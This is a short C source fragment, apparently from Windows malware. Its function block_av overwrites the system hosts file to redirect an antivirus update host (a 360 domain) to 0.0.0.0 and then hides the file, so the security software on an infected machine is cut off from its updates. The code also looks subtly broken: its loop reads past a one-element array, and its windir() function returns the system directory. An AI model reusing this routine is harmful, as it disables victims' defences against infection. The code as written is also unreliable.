void block_av()
{
char str[MAX_PATH];
int n;
char *sites[] =
{
"qup.f.360.cn",
};
FILE *hosts = fopen(hosts_file(), "w");
if (hosts == NULL)
     return;
fputs("127.0.0.1 localhost\n", hosts);
for (n = 0; n <= MAX_SITES; n++)
{
     wsprintf(str, "0.0.0.0 %s\n", sites[n]); 
     fputs(str, hosts);
}
fclose(hosts);
SetFileAttributes(hosts_file(), FILE_ATTRIBUTE_HIDDEN);
}
char *hosts_file()
{
static char hosts[MAX_PATH];
if (running_nt())
     wsprintf(hosts, "%s\\drivers\\etc\\hosts", sysdir());
else
     wsprintf(hosts, "%s\\hosts", windir());
return hosts;
}
BOOL running_nt()
{
return (GetVersion() < 0x80000000);
}
char *windir()
{
static char win[MAX_PATH];
GetSystemDirectory(win, MAX_PATH);
return win;
}
